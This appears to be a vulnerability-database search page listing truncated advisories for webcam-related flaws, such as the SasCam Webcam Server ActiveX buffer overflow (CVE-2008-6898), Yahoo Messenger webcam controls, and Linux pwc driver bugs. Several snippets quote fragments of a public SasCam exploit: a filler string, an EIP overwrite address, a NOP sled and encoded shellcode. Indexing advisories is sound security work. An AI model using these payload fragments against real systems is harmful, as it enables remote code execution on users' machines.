656 matches found
Yahoo! Messenger Webcam ActiveX Control Stack Buffer Overflow (CVE-2007-3147; CVE-2007-3148)
Yahoo! Messenger is an instant messaging communicating application developed by Yahoo! Inc. One of the features that Yahoo! Messenger provides is the ability to send and receive video content. The Yahoo! Webcam ActiveX controls shipped with Yahoo! Messenger is used to handle the video data in a...
SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow
This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'SasCam Webcam...
CVE-2008-6898
Buffer overflow in the XHTTP Module 4.1.0.0 in the ActiveX control for SaschArt SasCam Webcam Server 2.6.5 allows remote attackers to cause a denial of service crash or execute arbitrary code via a long argument to the Get method and other unspecified methods...
Buffer overflow
Buffer overflow in the XHTTP Module 4.1.0.0 in the ActiveX control for SaschArt SasCam Webcam Server 2.6.5 allows remote attackers to cause a denial of service crash or execute arbitrary code via a long argument to the Get method and other unspecified methods...
CVE-2008-6898
Buffer overflow in the XHTTP Module 4.1.0.0 in the ActiveX control for SaschArt SasCam Webcam Server 2.6.5 allows remote attackers to cause a denial of service crash or execute arbitrary code via a long argument to the Get method and other unspecified methods...
CVE-2008-6898
CVE-2008-6898 affects SasCam Webcam Server 2.6.5 via the ActiveX SaschArt SasCam control. The vulnerability is a buffer overflow in the XHTTP Module 4.1.0.0 that can be triggered by a long argument to the Get method (and other unspecified methods), allowing remote code execution or a crash. Publi...
Mandriva Linux Security Advisory : kernel (MDVSA-2008:105)
The CIFS filesystem in the Linux kernel before 2.6.22, when Unix extension support is enabled, does not honor the umask of a process, which allows local users to gain privileges. CVE-2007-3740 The drm/i915 component in the Linux kernel before 2.6.22.2, when used with i965G and later chipsets,...
Ubuntu: Security Advisory (USN-558-1)
The remote host is missing an update for the SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
WowWee Rovio webcam unauthorized access
Unauthorized access to RTSP stream and different configuration pages is possible...
WowWee Rovio Insufficient Access Controls
SUMMARY WowWee Rovio - Insufficient Access Controls - Covert Audio/Video Snooping Possible OVERVIEW Rovio from WowWee does not adequately secure all accessible URLs or media streams, enabling an unauthorized user with network access to the robotic webcam platform the ability to listen to and view...
SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow
The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow. By passing an overly long argument via the Get method, a remote attacker could overflow a buffer and execute arbitrary code on the system with the privileges of the user. This control is not marked safe for scripting,...
SasCam Webcam Server ActiveX控件Get方式缓冲区溢出漏洞
BUGTRAQ ID: 33053 SasCam Webcam Server是用于从桌面或站点播放、广播视频流的工具。 Webcam Server ActiveX控件没有正确地验证对Get方式所传送的超长字符串,如果用户受骗访问了恶意网页并向该方式传送了超长参数的话,就可以触发缓冲区溢出,导致执行任意指令。 SaschArt SasCam WebCam Server 2.6.5 厂商补丁: SaschArt -------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://soft.saschart.com/...
SasCam WebCam Server 2.6.5 ActiveX Remote BOF Exploit
No description provided by source. !-- -- !--SasCam WebCam Server Version 2.6.5 Belus Technology Inc. XHTTP Module v4.1.0.0 -- !--Remote Exploit -- !--Tested in Windows XP SP2/SP3 IE 7.0 -- !--C0d3d by callAX [email protected] -- !--4lmost all methods have a b0f !-- -- !--Greetings to str0ke fo...
SasCam WebCam Server 2.6.5 ActiveX Remote BOF Exploit
Exploit for unknown platform in category remote exploits ===================================================== SasCam WebCam Server 2.6.5 ActiveX Remote BOF Exploit ===================================================== Sub rootIT puts0m3shit = String8293, "a" eip = unescape"%EC%7E%E3%77" // call...
SasCam WebCam Server 2.6.5 - ActiveX Remote Buffer Overflow
SasCam WebCam Server 2.6.5 - ActiveX Remote Buffer Overflow Sub rootIT puts0m3shit = String8293, "a" eip = unescape"%EC%7E%E3%77" // call esp User32.dll Module 77 E3 7E EC noping = String20, unescape"%90" lnj3ctc0d3 = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" &...
SasCam WebCam Server 2.6.5 - ActiveX Remote Buffer Overflow
Sub rootIT puts0m3shit = String8293, "a" eip = unescape"%EC%7E%E3%77" // call esp User32.dll Module 77 E3 7E EC noping = String20, unescape"%90" lnj3ctc0d3 = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" &...
[SVRT-07-08] Vulnerability in Face Recognition Authentication Mechanism of Lenovo-Asus-Toshiba Laptops
VULNERABILITY IN FACE RECOGNITION AUTHENTICATION MECHANISM LENOVO-ASUS-TOSHIBA LAPTOPS 1. General Information Face Recognition feature is provided by Asus, Lenovo and Toshiba as specialized software that is issued together with their laptops. This feature is embedded into all laptop families havi...
kernel PWC driver DoS
The disconnect method in the Philips USB Webcam pwc driver in Linux kernel 2.6.x before 2.6.22.6 "relies on user space to close the device," which allows user-assisted local attackers to cause a denial of service USB subsystem hang and CPU consumption in khubd by not closing the device after the...
Network Camera Web Server Detection
The remote web server controls a network camera. C Tenable, Inc. References: http://johnny.ihackstuff.com/ghdb.php?function=summary&cat=18 http://www.net-security.org/vuln.php?id=3288 include"compat.inc"; if description scriptid33523; scriptversion"1.40";...
kernel PWC driver DoS
The disconnect method in the Philips USB Webcam pwc driver in Linux kernel 2.6.x before 2.6.22.6 "relies on user space to close the device," which allows user-assisted local attackers to cause a denial of service USB subsystem hang and CPU consumption in khubd by not closing the device after the...